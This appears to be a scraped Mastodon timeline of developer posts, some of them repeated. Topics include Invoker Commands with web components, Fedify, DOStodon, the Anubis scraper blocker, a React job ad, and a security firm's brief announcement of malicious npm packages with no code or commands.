@ecmascript_news@mastodon.online
@vanillaweb@intuitivefuture.com

The Invoker Commands API is the new hotness for a declarative solution to the problem “click and see something happen!!”

However…

If we’re inside shadow DOM and the button being clicked is supposed to do a thing via its host component, then uh, nope. 🤨

Thankfully there’s always a workaround in the Wide World of the Web, so I’ve written it up and here it is!

😁 Yay for building directly on top of platform mechanics. 👏

thathtml.blog/2025/07/more-fun

thathtml.blog

More Fun with Invoker Commands and Web Components

This is a huge step forward for the vanilla web feeling like it’s a bona fide application development platform rather than a glorified document viewer.

@vanillaweb@intuitivefuture.com

The Invoker Commands API is the new hotness for a declarative solution to the problem “click and see something happen!!”

However…

If we’re inside shadow DOM and the button being clicked is supposed to do a thing via its host component, then uh, nope. 🤨

Thankfully there’s always a workaround in the Wide World of the Web, so I’ve written it up and here it is!

😁 Yay for building directly on top of platform mechanics. 👏

thathtml.blog/2025/07/more-fun

thathtml.blog

More Fun with Invoker Commands and Web Components

This is a huge step forward for the vanilla web feeling like it’s a bona fide application development platform rather than a glorified document viewer.

@vanillaweb@intuitivefuture.com

The Invoker Commands API is the new hotness for a declarative solution to the problem “click and see something happen!!”

However…

If we’re inside shadow DOM and the button being clicked is supposed to do a thing via its host component, then uh, nope. 🤨

Thankfully there’s always a workaround in the Wide World of the Web, so I’ve written it up and here it is!

😁 Yay for building directly on top of platform mechanics. 👏

thathtml.blog/2025/07/more-fun

thathtml.blog

More Fun with Invoker Commands and Web Components

This is a huge step forward for the vanilla web feeling like it’s a bona fide application development platform rather than a glorified document viewer.

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

@manlycoffee@techhub.social

I'm looking for a junior to intermediate developer to work with us to empower everyone to become professional video network operators.

It's on-site, 4 days a week.

I'm specifically looking to onboard someone to our React frontend.

React experience (or even frontend experience) is not a hard requirement.

If you want to learn more about the company itself, check it out here gooseott.com/en/home-en/

And please DM me if you're interested.

gooseott.com

What is Goose? - Goose

Goose is an easy, secure and cost-free OTT solution. Create your own streaming app and monetize your video content without third parties or limitations. Suppliers and Operators Easily create your own OTT streaming platform and offer your subscribers live or video on demand (VOD) content.

@Jeremiah@alpaca.gold
@SocketSecurity@fosstodon.org

🚨 New research: North Korea’s Contagious Interview campaign is back, with 67 new malicious npm packages, a new malware loader (XORIndex), and 17K+ downloads.

Details, IOCs, and full package list →

socket.dev/blog/contagious-int

socket.dev

Contagious Interview Campaign Escalates With 67 Malicious np...

North Korean threat actors deploy 67 malicious npm packages using the newly discovered XORIndex malware loader.

@SocketSecurity@fosstodon.org

🚨 New research: North Korea’s Contagious Interview campaign is back, with 67 new malicious npm packages, a new malware loader (XORIndex), and 17K+ downloads.

Details, IOCs, and full package list →

socket.dev/blog/contagious-int

socket.dev

Contagious Interview Campaign Escalates With 67 Malicious np...

North Korean threat actors deploy 67 malicious npm packages using the newly discovered XORIndex malware loader.

@jacket@tech.lgbt

Here's how I see people based on their choice of API programing language.

: You don't care about anything else then the engineer pool you can employ so you take the default one. You're the basic b*.

: You're a Cpp programmer that only want to use the closest relative. You don't like change.

: You're the kind of person to read every articles on a subject to take a decision. What you want is nothing the objective best. Your vim is better then theirs. You know you have no recruitment pool but it doesn't matter, you're a 100x developer and nobody could understand how brilliant your code is anyway. You're an hipster

: You created your startup to be sold. You basically want a great demo fast, get an offer and gtfo.

: it's been 10 years you didn't talk to anyone. You got in the hipe and never realised that everyone moved on except you.

: You wish you could use elixir but settled for the second best for none technical reasons. You're submissive. Google is your master.

@dec_hl@mastodon.social

I pushed an update to (the client for MS-DOS):

- Updated to 8.14.1
- Updated to 3.6.4
- Enabled HTTP 3xx redirections

Grab it at github.com/SuperIlu/DOStodon

Screenshot is showing both, the DOS ( @DOSBox_Staging ) and the the win32 version (Win10).

screenshot of two instances of a text based mastodon client both showing a timeline for the tag CatsOfMastodon
ALT text

screenshot of two instances of a text based mastodon client both showing a timeline for the tag CatsOfMastodon

@dec_hl@mastodon.social

I pushed an update to (the client for MS-DOS):

- Updated to 8.14.1
- Updated to 3.6.4
- Enabled HTTP 3xx redirections

Grab it at github.com/SuperIlu/DOStodon

Screenshot is showing both, the DOS ( @DOSBox_Staging ) and the the win32 version (Win10).

screenshot of two instances of a text based mastodon client both showing a timeline for the tag CatsOfMastodon
ALT text

screenshot of two instances of a text based mastodon client both showing a timeline for the tag CatsOfMastodon

@BenjaminHCCarr@hachyderm.io

Saving Internet From#AI Bot
, which block AI scrapers from scraping websites to death, has been downloaded 200,000 times.
"It uses features of your browser to automate a lot of the work that a CAPTCHA would, and right now the main implementation is by having it run a bunch of cryptographic math with JavaScript to prove that you can run in a way that can be validated on the server." Verifies you are human using a browser.
404media.co/the-open-source-so

404media.co

The Open-Source Software Saving the Internet From AI Bot Scrapers

Anubis, which block AI scrapers from scraping websites to death, has been downloaded almost 200,000 times.

@BenjaminHCCarr@hachyderm.io

Saving Internet From#AI Bot
, which block AI scrapers from scraping websites to death, has been downloaded 200,000 times.
"It uses features of your browser to automate a lot of the work that a CAPTCHA would, and right now the main implementation is by having it run a bunch of cryptographic math with JavaScript to prove that you can run in a way that can be validated on the server." Verifies you are human using a browser.
404media.co/the-open-source-so

404media.co

The Open-Source Software Saving the Internet From AI Bot Scrapers

Anubis, which block AI scrapers from scraping websites to death, has been downloaded almost 200,000 times.

@stevenaleach@sigmoid.social · Reply to acb

@acb

I think the name has caused confusion and held it back.

I know I reflexively ignored and skipped over any mention of until I realized very recently that it:

1) Is general purpose and not actually a "web" thing.

&

2) Isn't yet another name for .

@z9mb1@hackers.pub

자바스크립트에서 label for loops에서 label이 자주 사용되는 문법인가요? 어떤 의도로 만들어진거에요

@z9mb1@hackers.pub

자바스크립트에서 label for loops에서 label이 자주 사용되는 문법인가요? 어떤 의도로 만들어진거에요